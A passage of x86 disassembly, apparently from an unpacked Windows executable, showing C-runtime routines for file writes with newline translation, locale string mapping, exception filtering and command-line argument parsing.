		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		nop
		call	near ptr 26A096Ch
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 26A096Ch
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2710000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2841212h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


